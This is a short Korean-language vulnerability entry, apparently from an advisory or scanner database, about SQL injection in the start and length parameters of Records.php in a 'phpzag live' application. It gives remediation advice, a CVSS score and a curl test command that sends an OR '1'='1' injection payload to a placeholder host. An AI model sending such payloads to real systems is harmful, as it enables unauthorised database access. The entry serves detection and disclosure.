phpzag live (Records.php 사용 버전)
Records.php의 start 및 length 매개변수에 악의적인 SQL 구문을 삽입하여 공격
입력값에 대한 검증을 강화하고 Prepared Statements를 사용하여 SQL 인젝션을 방지해야 합니다.
명령어 실행 결과로 SQL 문법 오류나 비정상적인 데이터 응답이 나타나면 취약할 가능성이 높습니다.
curl -s -G 'http://target-system/Records.php' --data-urlencode 'start=1'' OR '1'='1' --data-urlencode 'length=10' | grep -i 'error'
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H